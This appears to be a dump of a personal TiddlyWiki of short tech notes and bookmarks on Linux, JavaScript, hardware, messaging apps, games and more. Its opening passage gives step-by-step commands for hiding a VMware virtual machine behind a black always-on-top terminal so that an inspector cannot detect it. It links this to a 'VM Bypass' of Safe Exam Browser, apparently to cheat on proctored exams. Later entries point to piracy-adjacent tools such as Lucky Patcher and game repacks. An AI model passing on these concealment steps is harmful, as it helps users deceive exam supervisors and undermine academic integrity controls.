Disable bootup logos or logs: this should already be the default on Pop!_OS I think.
User autologin: Users > Your user > Automatic Login.
Darker desktop: Since the desktop could show for a split second on login, set a fully black background to reduce visible screen flashing: Background > Add picture, and select a fully black image file.

VM autostartup

We need the VM to autostart and avoid showing the desktop, or VMWare BIOS logo.

Install this package from APT: wmctrl
Create a new profile in gnome-terminal settings, name it something unique, for example "VmWrapperTerminal". Click it and:
- Set to OFF:
  - Scrolling > Show scrollbar.
  - Text > Use colors from system theme, Use transparent background, Use transparency from system theme.
- Set Text > Default color: #000000 for both Text and Background.
Finally, go to Startup Applications > Add, and create a new item with whatever name and the following command:

sh -c 'gnome-terminal --full-screen --title=VmWrapperTerminal --profile=VmWrapperTerminal --command "sleep 20" & sleep 5; wmctrl -r VmWrapperTerminal -b add,above; vmplayer --fullscreen "/path/to/your/VM/VM.vmx"'

This command first creates a full-screen gnome-terminal window, using our prepared profile and, importantly, with an unique name (to avoid confusion, you can set it equal to the special profile name). The window starts as non-blocking and simply runs a sleep command of enough seconds to make sure that our VM will start up and will have already gone past the VMWare BIOS logo; it will close itself after the fact. A few second wait is used immediately after this for good measure (making sure the window is spawned), and then our terminal window is made as "Always on top". Finally, the VM begins startup behind the black terminal window. Remember to click its window to set focus quickly, or else your real mouse will show up!

Make sure to set the terminal window title, terminal profile name, terminal window wait, and VM .vmx path according to your needs and system configuration.

Misc desktop tweaks

No notifications: Notifications > Do Not Disturb.
Never turn off: Power > Screen Blank: Never; Automatic Suspend: OFF.
(Laptops) Ensure closing the lid doesn't lock the screen.
Ensure you have no running applications that could spawn pop-up windows (e.g: Telegram Desktop, Steam, ...)

This is not perfect!

In the current explanations, there are a few holes. While even an expert inspector could never know for sure that you are using a VM, they could still see that something strange is going on on the computer and be suspicious. It's your responsibility to never show too much. For sure, keep in mind:

Shutting off the guest OS will reveal your desktop.
Rebooting the guest OS will reveal the VMWare logo.
While we did the possible to reduce bootup screen flashes, some window transition effects could be somewhat visible (even if they are black-on-black).
You tell me!

See also: SEB 3.5.0 on Linux (VM Bypass) |

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Hardware

Octt 23rd December 2023 at 9:47pm

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The Hardware Book [HwB] — Internet's largest free collection of connector pinouts and cable descriptions
PinoutGuide.com — Handbook of hardware schemes, cables and connectors layouts pinouts

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Hashing

Octt 20th December 2023 at 12:50am

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Generate md5 checksum for all files in a directory — find -type f -exec md5sum "{}" + > checklist.chk

MD5 nowadays is known much vulnerable to collisions:

Are there two data blocks causing and MD5 collision?
- MD5 Collision Demo
- Create your own MD5 collisions

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Holiday

Octt 22nd December 2023 at 9:38pm

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Christmas

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Padoru [KYM]
- 🎄 Distrazioni di Natale: l'albero Padoru
Weird Christmas ~ Create your card! — Share some holiday spirit with these historical and bizarre old Holiday cards. Laugh, love, and have a weird Christmas!
Whamageddon — The objective is to go as long as possible without hearing WHAM's Christmas classic; "Last Christmas".

Homebrew

NES Homebrew Games

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Homebrew

Octt 18th December 2023 at 11:46pm

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PDRoms — Homebrew 4 you (abandoned)
- Retro Veteran — Retro is our thing! — continuation for the above site
Homebrew Hub is a community-led initiative to collect, archive and preserve homebrew software developed for Game Boy (Color) and the Game Boy Advance. — [Git]

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HTML

Octt 24th December 2023 at 5:17pm

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Security risks of user generated HTML?
- HTML_sanitization ; Sanitizing untrusted HTML5

References

HTML5 `<link rel="shortcut icon" />`
HTML Character Entity References — The following table is completed with special characters and their HTML Entities from W3C.
Web Components — Partially implemented half-obscure set of features
- HTML Imports — Deprecated method of including and reusing HTML documents in other HTML documents — The idea was nice: <link rel="import" href="/path/to/file.html">

HTTP

Aria2

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HTTP

Octt 17th April 2023 at 8:35pm

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Resources

HTTP on... MDN
HTTP response status codes: Wikipedia
- HTTP Cats

Features

Basic access authentication
- Authorization: Basic <Credentials>
  - Credentials: Base64-encoded string: <User>:<Password>

Huawei P9 Lite Mini

Octt 19th February 2023 at 10:50am

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No custom ROMs have ever been made for this device
We ported TWRP but without working storage decryption
The headphone jack port is detective
The integrated GPU is fake/emulated (Snapdragon 425)
- Still don't understand if this is Qualcomm's fault, or Huawei's for not installing proper drivers

Product names:: Europe: Huawei Y6 Pro 2017; Other: Huawei P9 Lite Mini
Codename: selina
Model numbers:: Europe: SLA-L02; Other: SLA-L22

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I2C

Octt 5th February 2023 at 2:30pm

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ImageMagick

Octt 24th July 2023 at 10:20pm

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How to

Convert pdf to pdf without losing quality
- you have to upsize and put density first, e.g: convert -density 288 input.pdf -resize 25% output.pdf
Cutting and Bordering
- How to crop an image?
- The most classic crop command is -crop <Width>x<Height>+<OffsetX>+<OffsetY>

Troubleshooting

ImageMagick using too much memory to convert PDF files
- How to limit resources used? -limit type value
Error "cache resources exhausted"
- ImageMagick can come with very low limits, example before and after fix
security policy 'PDF' blocking conversion
- Edit /etc/ImageMagick-7/policy.xml to comment out a line like <policy domain="coder" rights="none" pattern="PDF" />, OR edit rights="[...]" to rights="read|write"

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Information and Knowledge

Octt 27th February 2023 at 9:02pm

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Resources: Learn Anything - You can learn anything - [Git]
Notes: What is the difference between knowledge and information?; Knowledge is awareness, understanding, or skill that you get from experience or education. Information is the facts or details of a subject. They are related: knowledge is the knowing of something, and information is what you can (or can't) know. Below are some examples of how each word is used.

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Installing kbin on Alpine Linux

Octt 23rd July 2023 at 1:25pm

As of today, spring-summer 2023, it's quite tricky to install kbin without Docker (not that it's better with Docker).

On the kbin wiki, a detailed bare-metal installation procedure is now available, but it both tells too much, and not enough to solve some subtle issues.

Following instructions for installation are assembled by me for my experimental, private install use cases. They will be updated as I, with a group of other people, work to deploy a production kbin instance.

Following resources have helped me compile these notes:

(Created by me) Issue #2: Database errors when trying to run without Docker + other issues
Issue #186: 500 Internal Server Error when searching for memes@lemmy.ml
Thinking, trying, and reporting results in various chatrooms

Impositions

Why use Alpine Linux?: Debian, the most ideal distro to have a stable server, holds old packages. PHP might not be the most required up-to-date version, along with dependencies. With Alpine we are sure that our packages are up-to-date enough.
- A good idea for server stability, is to keep Debian bare-metal, and deploy an Alpine chroot to install kbin into.

Installing core dependencies

symfony, composer, php82, a lot of modules, and kbin itself

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git clone --depth=1 https://codeberg.org/Kbin/kbin-core
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Installing side services

PostgreSQL and Redis are mandatory

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Reminder: reading this issue might help: Federation works only partially - Configuration Issue?

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Instant messaging

Octt 17th December 2023 at 1:05am

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Signal

IRC

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hunter2 [KYM]

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Intellinet

Octt 7th February 2023 at 8:58pm

Intellinet Network Solutions is a company creating network appliances, including (but not only) routers.

Products

Wireless 150N 3G Router
- Resources: https://gitlab.com/octospacc/openwrt-intellinet

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Interlingua

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Union Mundial pro Interlingua (UMI)
ΘMNЄ Lingua — Divulgation Libere, Moderne, Europee. 🇪🇺
🧵️ #TIL: esiste un'altra lingua costruita...
Interlingua Corpus Project — [Sources]
Online Interlingua-English Translator — [Web Frontend Source] [Backend Source] [Web Backend Source + Data on Google Colab]

Octt 24th December 2023 at 5:33pm

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(Specific Web resources are under Web.)

Newgrounds.com — Everything, By Everyone
Kiwix — Internet Content Without Internet Access — [Git]
What is this ip6.arpa that keeps showing up? (0.0.0.0.[...].ip6.arpa) — ip6.arpa is a special domain name used to achieve reverse delegation for IPv6 addresses.

Tools

Aria2
Wget - Internet downloader utility

Internet Archive

Octt 13th June 2023 at 6:53pm

The Internet Archive is a website serving as free archive of digital items, with the intent of cultural preservation.

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The non-profit library is also known for its Wayback Machine service.

See also: Abandonware | Wayback Machine |

Internet Archive/

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Internet Archive/Download bulk items (Wget)

Octt 6th February 2023 at 11:15am

Source: https://blog.archive.org/2012/04/26/downloading-in-bulk-using-wget

Prerequisites

Obtain Wget;
(Optional) For large collections, Install "Copy Selected Links" extension For Firefox;

Action

In a text file, Write a list of all item ids to be downloaded (the part after /details/ in the URL);
1. Easy way to do this for collections: Select all links in the browser, Right-Click > Copy selected links, Paste in a text editor, Find all instances of https://archive.org/details/, replace with nothing, Save.
Use the following command:

wget -r -H -nc -np -nH --cut-dirs=1 -e robots=off -l1 -i <Path-to-text-file> -B 'http://archive.org/download/'

Useful arguments

Whitelist or Blacklist mode for list of extensions (preceded by . (dot), separated by , (comma); Example: .avif,.7z)
- -A <Extensions>: Whitelist
- -R <Extensions>: Blacklist

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Internet Checkpoint

Octt 24th December 2023 at 5:20pm

Welcome traveller. You have reached the checkpoint of the internet. This is an age-old story beginning with taia777 in 2012, where people from all walks of life would comment about how their life is going.
Internet Checkpoint — An hommage to the internet checkpoint comments section. — [Git]

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Invidious:en

Octt 6th February 2023 at 11:15am

iOS

Octt 13th February 2023 at 4:41pm

From en.Wikipedia.org/iOS

Try it for 60 seconds: https://appetize.io/demo?device=iphone8&osVersion=16.0&scale=75&deviceColor=black

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ISO 8601:en

Octt 6th February 2023 at 11:15am

ISO 8601 is a date/time format standard designed for international adoption, by featuring a logical, unambiguous notation.

It was first published in 1988, but got some revisions in following years.

Its complete form is the following, but the standard allows for dashes (-), colons (:), and the final time zone indicator to be omitted:

YYYY-MM-DDThh:mm:ss+hh:mm

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Issues of the Modern Web

Octt 7th November 2023 at 10:08pm

~~Just in, 2023/July:~~ Web Environment Integrity API Proposal — This is scary. It's (strong) SafetyNet for websites [...]
- 2023/November update: Google bins integrity API that looked more than a bit like horrible DRM for websites... but not completely: it will still be integrated into Android System Webview, for some reason
Reign of Surveillance Capitalism.
- Full of advertisements, and trackers.
Technically problematic:
- Even simple text+images websites are full of megabytes of useless components.
  - This wisdom tends to verify as more truthful the more you test it against websites of more big players, or entities that are on the web just for money.
- Web Browsers are in themselves Operating Systems.
  - Only The 3 Web Players can keep up with constantly evolving standards requiring corporate-level organization for development, and the risk for a Google monopoly is real.
  - Every month or so each browser engine has a new critical vulnerability.
Has more noise than information:
- Search engines are each day less effective, as pages/articles or full sites written to game SEO pop-up, sinking real information in noise - with entire industries dedicated to profiting this way.
  - Real people who just want to create real content suffer the most.

Italiano

23rd September 2022 at 5:27am

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Java

Octt 22nd December 2023 at 12:12pm

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Java NullPointerException
Oracle Java Downloads Archive — requires shitty account to download basically anything, but has everything
Install openjdk-6-jdk on Ubuntu/Xubuntu 16.04

JavaScript

Octt 23rd December 2023 at 10:41pm

JavaScript, or "JS", is an high-level programming language. It constitutes a core technology of the Web, sitting optionally alongside HTML and CSS. In recent years, it has gotten more and more popular even for desktop app and backend development.

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Ecma International TC39 - Committee maintaining JS specifications
aem1k — JavaScript Hacks and Creative Coding Created by Martin Kleppe aka @aemkei. — [Git]

Resources

The Modern JavaScript Tutorial (javascript.info) — How it's done now. From the basics to advanced topics with simple, but detailed explanations.
JavaScriptTutorial.net — helps you learn JavaScript programming from scratch quickly and effectively
JSFuck is an esoteric and educational programming style based on the atomic parts of JavaScript. It uses only six different characters to write and execute code. — [Git+Guide]
Which equals operator (== vs ===) should be used in JavaScript comparisons? ("Good and bad twins") — == is bad unless explicitly needed, since it does type-coercion.
- In theory === is faster, no type conversion takes place. Practically there's no performance difference.
- JavaScript-Equality-Table - [Git]
Environment detection: node.js or browser
Superpacking JS Demos
"Illegal invocation" errors in JavaScript — The error is thrown when calling a function whose this keyword isn't referring to the object where it originally did (when the context of the function is lost)
Does JavaScript have a method like "range()" to generate a range within the supplied bounds? — [...Array(5).keys()]
Listen for triple clicks in JavaScript
Fastest method to escape HTML tags as HTML entities? — in the browser, (html) => { var escape = document.createElement('textarea'); escape.textContent = html; return escape.innerHTML; }
Get a random item from a JavaScript array — item = items[Math.floor(Math.random() * items.length)];
Simplest code for array intersection in javascript — arrayNew = array1.filter(value => array2.includes(value));
Why is 'for (... in ...)' with arrays considered bad practice in JavaScript? — use for (... of ...) instead
How to get text from all descendents of an element (disregarding scripts)?
Converting HTML string into DOM elements? — doc = new DOMParser().parseFromString(htmlString, 'text/html')
set doctype using javascript
JavaScript Regex Replace Tutorial
Send POST data using XMLHttpRequest
fetch API [and comparison with XMLHttpRequest]
Array.prototype.splice(), JavaScript Array splice() (W3S) — changes the contents of an array by removing or replacing existing elements and/or adding new elements in place
Array.prototype.concat() [MDN Docs] — used to merge two or more arrays, does not change the existing arrays but instead returns a new one
XMLHttpRequest
- Synchronous and asynchronous requests [MDN Docs]
HTML DOM Events
tixy.land — (t,i,x,y) => "creative code golfing" — [Git]

Tools

jsPerf - online JavaScript performance benchmark - [Git]
- Old source code: v2, v1
MeasureThat.net - measure performance of JavaScript code - [Git]
UglifyJS - JavaScript parser / mangler / compressor / beautifier - [Git]
- UglifyJS 3: Online JavaScript minifier — JavaScript minifier in the browser — [Git]
de4js — JavaScript Deobfuscator and Unpacker — [Git]
aaencode demo — Encode any JavaScript program to Japanese style emoticons (^_^)
jjencode demo — encode JS using limited symbols

JavaScript/Frameworks

Octt 29th April 2023 at 7:08pm

Alpine.js - Rugged, minimal^[
15 attributes, 6 properties, 2 methods
^] framework for composing JavaScript behavior in the markup - [Git]
- HyperJS - Collection of Alpine JS components - [Git]
Electron - Build cross-platform desktop apps with JavaScript, HTML, and CSS - [Git]
React - Building UI-oriented apps with JSX - [Git]
- React Native - Compiling ReactJS apps to native ones - [Git]
Tauri - Use Rust to build desktop and mobile apps with a web frontend - [Git]

Footnotes

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JavaScript/Libraries

Octt 13th December 2023 at 12:07am

Note: some are still in Web/Development

Single-purpose

FileSaver.js — An HTML5 saveAs() FileSaver implementation
jsdom: JavaScript implementation of various web standards, for use with Node.js — [Git]

Do-all

jQuery — write less, do more for general operations (has optional libraries for selectors and UI) — [Git]
Licia - utility library to get daily works done - [Git]
Lodash - More modern fork of Underscore, useful for working with data objects - [Git]
🐚 zx — A tool for writing better scripts, it's like better sh scripting done via JavaScript. — [Git]

Polyfills

These are for adding newer APIs to older browsers when making a webapp that uses them.

ECMAScript Shims - Collection of compliant shims
core-js - Pure JS Standard Library reimplementation
srcdoc-polyfill - shim for the iFrame "srcdoc" attribute
CSS Checkbox Hack
<details>

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johncena141:en

Octt 6th February 2023 at 11:15am

johncena141 (jc141) is specialized in the field of compiling and distributing free repacks of current PC games for GNU+Linux.

Before their arrival to the GNU+Linux gaming scene in 2020-2021, obtaining known-safe and working repacks of games for the platform was a challenge, with native Linux repacks being almost impossible to find and Windows ones often not working.

In just about a year, johncena141 has become the most trusted repacker among GNU+Linux gamers, by putting the focus of their work directly and exclusively on GNU+Linux, as well as proving transparency and efficiency in their operations.

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JSON

Octt 29th April 2023 at 10:44pm

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JSON Editor Online + formatter, filterer, querier - [Git]
JMESPath - cross-platform query language for JSON - [Git]

KDE:en

Octt 6th February 2023 at 11:15am

From en.Wikipedia.org/KDE

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Keeping a KB

Octt 17th February 2023 at 8:15am

I'm realizing that I'm doing everything kinda randomly, so it's probably good to define some points about keeping a personal knowledge base.

How are the others doing it?: It's good to find other personal wikis online, be they in Zettelkasten or tree form, and just browse them.; Is the TiddlyWiki-Zettelkasten method actually the best for me?; Who mantains paper-based personal wikis and why? Are others doing non-Zettelkasten paper wikis?
Defining objectives: What is the pratical reason of the KB?; Why keep one at all, instead of just a personal classic-style website for archiving and sharing complex information + simple and fast bookmarks for simple links?
Avoiding deviations?: With a digital system, which has full-text search, manually organizing information is wasting time if overdone.; Don't ever think for more than a few seconds on how to format something... Is this a good idea or can it make so knowledge is harder to absorb in the future (e.g. due to inconsistencies).; Is defining, once and for all, an efficient and fast modus operandi for everything, that covers everything, and then applying it mechanically every time, a good idea?

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Kernel postinst issue on Linux Mint

Octt 17th August 2023 at 10:58pm

The other day I got my Linux Mint system not booting anymore. I suspected this was due to my custom script I placed in /etc/kernel/postinst.d/ that is needed to copy the latest kernel in my EFI partition after an APT update, to allow boot via efistub bypassing grub. Maybe an unattended upgrade of my kernel failed.

After manually fixing the EFI partition to boot again in the system, I tried manually to run apt upgrade, and saw that my postinst script threw an error due to not finding one of the files to copy from /boot to /boot/efi.

After a quick web search, I saw that files in /etc/kernel/postinst.d should be numbered as they get run in the proper order by run-parts. I did ls on the directory where I've put my script to be certain that it was the very last, and actually it wasn't.

$ ls
dkms
initramfs-tools
pm-utils
---> UpdateEfiBoot <--- My script
xx-update-initrd-links
zz-shim
zz-update-grub

This was ugly to fix since, as seen in this list, my distro's mantainers are geniuses and decided to get rid of numbers, and instead prefer to just use alphabetical ordered naming, falling back to ugly letter suffixes when that plan failed. I renamed my script from UpdateEfiBoot to zzz-UpdateEfiBoot, thus making it appear at the end of an alphabetical listing and sure enough that fixed the issue: running apt upgrade again completed the update without errors and my script did its job.

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Keyboard

Octt 5th November 2023 at 9:48pm

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Keyboard University — The first and last resource you’ll ever need for mechanical keyboards. Courses and content for newcomers and expert builders alike.
Monkeytype — The most customizable typing website with a minimalistic design and a ton of features. Test yourself in various modes, track your progress and improve your speed — [Git]

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Keyoxide:en

Octt 6th February 2023 at 11:15am

Keyoxide is a libre, self-hostable tool to create and verify online identities, like different profiles, through cryptography.

Website, docs, and official instance: https://keyoxide.org
Source code: https://codeberg.org/keyoxide

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Kindle

Octt 13th February 2023 at 4:40pm

From en.Wikipedia.org/Amazon Kindle

Knowledge Management

Octt 8th October 2023 at 9:43pm

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Paradigms similar to this wiki:

Dendron — The personal knowledge management (PKM) tool that grows as you do! — [Git]
Obsidian
- 🏡 Obsidian Digital Garden — Publish your notes to the web, for free. In your own personal garden. — [Git] — Nice thing but it's sad that navigation is really borked without JavaScript.

The "Notion paradigm", and alternative apps:

Notion — Your connected workspace for wiki, docs & projects — it's basically online-only (or online-first?), so not recommended since it's also entirely proprietary, and documents are very limited when exported... plus it's really slow with much data because of the network requirements
anytype — the everything app for those who celebrate trust & autonomy — [Git]
AppFlowy — open-source alternative to Notion for project management — [Git]

Misc:

Dynalist

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KOReader

Octt 13th February 2023 at 4:24pm

KOReader is a document viewer for E Ink devices. Supported fileformats include EPUB, PDF, DjVu, XPS, CBT, CBZ, FB2, PDB, TXT, HTML, RTF, CHM, DOC, MOBI and ZIP files. It’s available for Kindle, Kobo, PocketBook, Android and desktop Linux.

https://github.com/koreader

Kotlin

Octt 23rd December 2023 at 4:06pm

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Get type of a variable in Kotlin — if (var is Class) ...
What's the difference between !! and ? in Kotlin? — when obj is null, obj!! throws NullPointerException, obj? returns null
How to do url encoding for query parameters in Kotlin — URLEncoder.encode(text, "utf-8")
How to create a JSONObject from String in Kotlin? — JSONObject("""{ "name": "test" }""")

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Language

Octt 21st December 2023 at 6:55pm

Wikipedia

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Misc: Help, is this arabic?

Fictional and constructed languages

Elefen — Elefen – “lingua franca nova” o “lfn” – es un lingua simple, desiniada per comunica internasional.
A Complete Guide to Creating a New Language
How To Create a Fictional Language Only You Understand

Translation

Glosbe is the biggest community-built dictionary.
Tatoeba is a collection of sentences and translations. It's collaborative, open, free and even addictive. — [Git]
Il gender e la traduzione di videogiochi — Outcast - [OcttArchive]

Tools

Machine translation: DeepL.com | Translate.Google.com

Lingva Translate — Self-hostable alternative front-end and API for Google Translate — [Git] [Scraper Git] — note: the official instance appears broken, returning error for translations with specific characters, and also less metadata from the API, problems that some other public instances don't have (official may be running an older version?)
Mozhi — alternative-frontend for many translation engines [Scraper Git] (Google support broken as of 2023/11)

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LastPass

Octt 2nd March 2023 at 12:04pm

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News

February 2023: LastPass says DevOps engineer’s hacked home computer led to 2022 security breach

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LCD

Octt 18th February 2023 at 10:44pm

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Demoscene

hedelmae - LCD megademo^[mirror] | LCD megademo 2^[mirror]

Other

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Lemmy:en

Octt 6th February 2023 at 11:15am

From en.Wikipedia.org/Lemmy_(software)

Website: join-lemmy.org
Git: github.com/LemmyNet/lemmy
Developer's Instance: lemmy.ml

See also: Fediverse |

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Libretro

Octt 21st December 2023 at 11:32pm

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RetroArch

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RetroArchLeaks — Small collection of IRC logs, mostly from #retroarch. Mostly mudslinging and drama.

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LineageOS

Octt 6th February 2023 at 8:54pm

From en.Wikipedia.org/LineageOS

https://lineageos.org/

Linux

Octt 24th December 2023 at 5:19pm

Wikipedia

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Docs

Manpages

on linux die
or, simplified: tldr pages — [Git]

Misc

LDP (obsolete?)
- The Network Administrators' Guide
- Linux-MIPS for PS1?
SquashFS, DwarFS
cannot access fuse mount as root or other users, Why does root get Permission denied when accessing FUSE directory? — To allow access to other users, add user_allow_other in /etc/fuse.conf, then mount fs with -o allow_root (only root) or -o allow_other (any user, including root).
How to extend the life of SD card used as root partition?
systemd-nspawn — chroot on steroids for systemd hosts and guests.
- Quick boot a mounted rootfs: -b -D ${rootfs path}.
- Kill booted container from shell: hold Ctrl and quickly press ] for 3 times.
Running a script every time a new kernel is installed — Just place a sh script in /etc/kernel/postinst.d/ (with the correct filename order).
linuxserver/webtop — Ubuntu, Alpine, Arch, and Fedora based Webtop Docker images, Linux in a web browser supporting popular desktop environments
- Note: apparently the /websockify HTTP endpoint doesn't respect the option for installing the container under an HTTP subpath; in practice this could mean that more than one container at the same time cannot be used behind a reverse proxy without some modification, but instead have to be accessed from their dedicated port directly.

Benchmarks

Paul Raspberry Pi Benchmarks

Troubleshooting, practical guides

Linux Hint
Linuxize — Linux Tips, Tricks and Tutorials
Ubuntu Geek — Ubuntu Linux Tutorials,Howtos,Tips & News
How to Zip Files and Directories in Linux — the zip util and all important options
Ubuntu 18.04 - pulseaudio Daemon startup failed
Create a Linux Swap File
How to Increase Swap on Raspberry Pi — edit the /etc/dphys-swapfile file accordingly, then run: sudo dphys-swapfile {swapoff,setup,swapon}
cannot mount /dev/loop1 read-only — Filesystem might have a dirty log, using -o norecovery can still mount it readonly.
How to take back control of /etc/resolv.conf on Linux — Several DNS-related programs want to automatically manage the DNS name server and resolution configuration file at /etc/resolv.conf. In some situations, you may want to manage this file yourself.
How do I start a process with a nice value of -20 and not give it root privilege? — quick hack: sudo nice -n -20 su -c ${cmd} ${user}
How to Show FPS Counter in Linux Games
How to Check CPU Temperature on Linux

Linux/

Advanced

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Linux/Advanced

Octt 21st December 2023 at 4:41pm

What is the smallest possible Linux implementation?
- How to create a Linux system that runs a single application?

Linux/

Distros

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Linux/Distros

Octt 22nd December 2023 at 11:58am

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tomsrtbt (Tom's floppy which has a root filesystem and is also bootable.) — "The most GNU/Linux on 1 floppy disk."
distro Linux vs generi, trova le differenze

Void

Linux/

Snippets

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Linux/Snippets

Octt 23rd December 2023 at 4:28pm

How to mount a local directory without root: bindfs --no-allow-other /source/directory /mount/point
Create a File of a Certain Size in Linux: fallocate -l 100M ${File}
How to cut a file to a given size under Linux?: truncate --size=1G ${File}
Misc: xdotool list of key codes

Linux/

Userspace

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Linux/Userspace

Octt 10th December 2023 at 10:21pm

Misc tools

Flatpak — Linux application sandboxing and distribution framework — [Git] [Dev Docs]
- Flathub — Official build and distribution service for Flatpak applications — [Git]
- Save Flathub runtime and SDK as local Flatpak file bundle
Wine — Compatibility layer for running Windows applications on POSIX-compliant systems
- WineZGUI — Wine GUI using Zenity - Play and Share! — [Flatpak]
- When is a wine-based Linux path used/converted?
  - winepath allows conversion of paths Unix –> Windows (-u), Windows –> Unix (-w)
Boxedwine — Multiplatform Linux Emulator that runs WINE — [Git]

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Lista incidenti

Octt 6th February 2023 at 11:16am

2023-01-10
"This group is unavailable due to copyright infringement."
I commenti erano appena stati attivati sul canale Telegram Animali_Crostini, tramite un gruppo chiamato "This group is unavailable due to copyright infringement", per scherzare sui modi di fare in generale di Nintendo contro chi viola il copyright. Intanto su spacctorium si stava discutendo di argomenti che potrebbero essere visti come violazione dei copyright (non di Nintendo). Ad un certo punto, noto un commento di L. nel gruppo del canale di Animali_Crostini, e invio una reazione come risposta. A quel punto, L. riceve una notifica desktop con il pauroso nome del gruppo, e l'anteprima del mio messaggio; immediatamente fa un avviso raffazzonato su spacctorium (senza porsi domande su perché fosse ancora visibile col nome normale) e scappa via, per poi scrivermi in privato. Ha creduto per un momento qualcosa di assurdo: che da ora Telegram faccia analisi in tempo reale dei messaggi per individuare violazioni di copyright. Ho dovuto spiegargli io la situazione. TLDR: È avvenuto del trolling pesantissimo, ma involontario.

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Lorem ipsum

Octt 13th April 2023 at 9:06am

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5 paragraphs of Lorem ipsum

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Lua

Octt 9th November 2023 at 12:13am

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How to add your C Library in Lua

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Lucky Patcher

Octt 9th February 2023 at 3:34pm

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Official website - [Installer APK] - [Patches repo]

In Italia lo chiamiamo anche [Fortunello|Fortunato][Cerottatore|Rattoppante].

LXC

Octt 21st December 2023 at 7:02pm

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Exploring simple Linux containers with lxc — Get started with simple containers using the tools available in the lxc project.
LXC and mount point. Permission denied
- Unprivileges LXCs use user/group remapping. So UID/GID 0-65535 inside the LXC will be UID/GID 100000-165535 on the host. To access the bind-mount from inside the LXC with (example) UID 1000 and GID 1000 that folder would need to be owned by UID 101000 and GID 101000 on the host. So to fix (example): chown -R 101000:101000 ${Folder}.

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LXQt:en

Octt 6th February 2023 at 11:15am

From en.Wikipedia.org/LXQt

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Magisk

Octt 7th February 2023 at 7:11pm

From en.Wikipedia.org/Magisk_(software)

Mario Kart

Mario Kart DS

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Mario Kart

Octt 21st February 2023 at 9:07pm

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Mario Kart DS

CTGP Nitro

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Mario Kart DS

Octt 25th February 2023 at 6:44pm

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What I like: Controls are good and responsive, not "gummy" like in the next entries of the saga, and not hard like in the Mode-7 entries.; The Mission Mode is a nice addition to the game, with good variety.; I like the simple 3D that still manages to look refined and attractive, I'd say unlike Mario Kart 64.; Especially fun in online play, compared to other entries.
What I don't like: A small chunk of the retro courses is bland and uninteresting, compared to the average normal course.; Not enough soundtracks, they all get reused for many different courses and get boring.

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Mario Paint

Octt 17th December 2023 at 12:43am

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danielx Mario Paint Music Composer

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Markdown

Octt 24th September 2023 at 11:04pm

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Markdown Guide.org — The comprehensive Markdown reference guide — [Git]
Markdown Tutorial.com — Lessons to help guide new writers into Markdown! — [Git]
😇 Monastic Browser — Rebuild the innocent web with Monastic Markdown-first web browser — [Git]

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Mastodon

Octt 23rd December 2023 at 12:33pm

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Clients

tooot — Simple and open source mobile (iOS/Android) client of Mastodon, started with a focus for Chinese community. — [Git]
Pinafore — Alternative web client for Mastodon (UNMAINTAINED) — [Git]
Elk (alpha) — A nimble Mastodon web client — [Git]

See also: Fediverse |

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Math

Octt 28th April 2023 at 7:04pm

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Utilities

Microsoft Math Solver - Search engine for math solutions, guides, examples

Geometry

GeoGebra - Graphing Calculator Suite - [Git]
Desmos - Another calculator suite

Calculus

Cymath - Minimal Web CAS, works better than others
Photomath - Mobile offline CAS app (badly programmed, requires Google Play Services on Android)
Symbolab - Web CAS, free version is limited
Wolfram Alpha - Computational intelligence
- Wolfree Alpha - Hacked Wolfram Alpha webapp to show all data without Pro - [Mirrors] - [Git]

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Matrix

Octt 5th March 2023 at 7:42pm

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Clients: Element - Flagship client; Web-Desktop and Mobile are different codebases - [Git]; Hydrogen - (WIP by Element team) Lightweight matrix client with legacy and mobile browser support - [Git]; FluffyChat - open source, nonprofit and cute matrix messenger app [Git]
Servers: Synapse - Matrix.org’s reference server - [Git]
Bots: maubot - A plugin-based Matrix bot system - [GitHub] [GitLab (CI)] [Matrix] [Docs]
Bridges: All by mautrix: https://github.com/mautrix - [Docs]; All by mx-puppet: https://gitlab.com/mx-puppet

MeBoy:en

Octt 13th February 2023 at 4:25pm

MeBoy is a libre (GPLv2) Game Boy (and Game Boy color) emulator for the J2ME platform.

MediaWiki

WikiSpacc
Wikitext

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MediaWiki

Octt 16th February 2023 at 11:57am

From en.Wikipedia.org/MediaWiki

Resources

Tools

by WikiTeam - Tools for downloading and preserving wikis. We archive wikis, from Wikipedia to tiniest.^[
As of 2020, WikiTeam has preserved more than 250,000 wikis.
^] - [Git WikiTeam]
- Modern WIP versions by mediawiki-client-tools
  - mediawiki-scraper - ongoing project to port the legacy wikiteam toolset to Python 3 and PyPI to make it more accessible

Help and Learning

[Web book] Working with MediaWiki - 2nd edition, updated for 2022, by Yaron Koren
Help:Export
- Manual:Backing up a wiki
  - How to back up a MediaWiki server hosted on a remote Debian machine
- Manual:Parameters to Special:Export
  - Manual:$wgExportAllowAll

Extensions

Translate - Used to translate software (?) and to manage multilingual wikis in a sensible way

Development

mediawiki.org/API:Get_the_contents_of_a_page

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melonDS:en

Octt 6th February 2023 at 11:15am

melonDS is (sort of) a libre Nintendo DS emulator.

Over the years of development, the emulator had time to become a mature melon.

Today, while it still needs a lot of work before being complete, it's considered the best NDS emulator available, at least on PC.

Meta Inc

zstd

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Meta Inc

Octt 26th February 2023 at 10:17pm

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Reasons not to be used by Facebook [Richard Stallman]

Curiosities: How THIS instagram story kills your phone.

News

February 2023: Italian prosecutors probe Meta for 870Ms EUR tax evasion; Zuck Banned Me - My Facebook got hacked, then Meta banned me from all services
Older: Facebook’s internal research on mental health effects of Instagram | Facebook Internal Research Found Instagram Can Be Very Harmful To Young Girls

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MicroBlogs

Octt 23rd December 2023 at 11:11am

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OctoSpacc.altervista.org/MicroBlog
Numeric Citizen Blog — I'm a compulsive creator (words, images, videos, podcasts). It's not always an easy journey, but it is a rewarding one.

Microsoft

Windows

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Microsoft

Octt 7th February 2023 at 9:55pm

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Products

Bing
- Microsoft Bing Rewards
Encarta - discontinued digital multimedia encyclopedia
Windows

News

March 2023: Tell HN: Microsoft Teams is blocking Firefox Nightly

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Midnight Commander:en

Octt 6th February 2023 at 11:15am

From en.Wikipedia.org/Midnight_Commander

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Miitomo:en

Octt 6th February 2023 at 9:13pm

From en.Wikipedia.org/Miitomo

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Miiverse

Octt 29th April 2023 at 7:15pm

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Resources

Present Servers

https://miiverse.lol

Heavy forks

https://caustica.isledelfino.net

Minecraft

SpaccCraft

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Minecraft

Octt 23rd November 2023 at 11:28pm

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What I like: The open-ended nature of the game, and the freedom to be able to have infinitely many unique experiences.; The graphics are simple (literal blocks with 16x16 textures lol), but colorful and inviting; they can however even be brought to photorealistic levels with (heavy) shaders.; Easy to "pick-up and play" for short sessions, but can also make you pass some hours.; The basis of the game are simple and can be grasped by anyone, but you never stop learning as you go deeper and deeper.
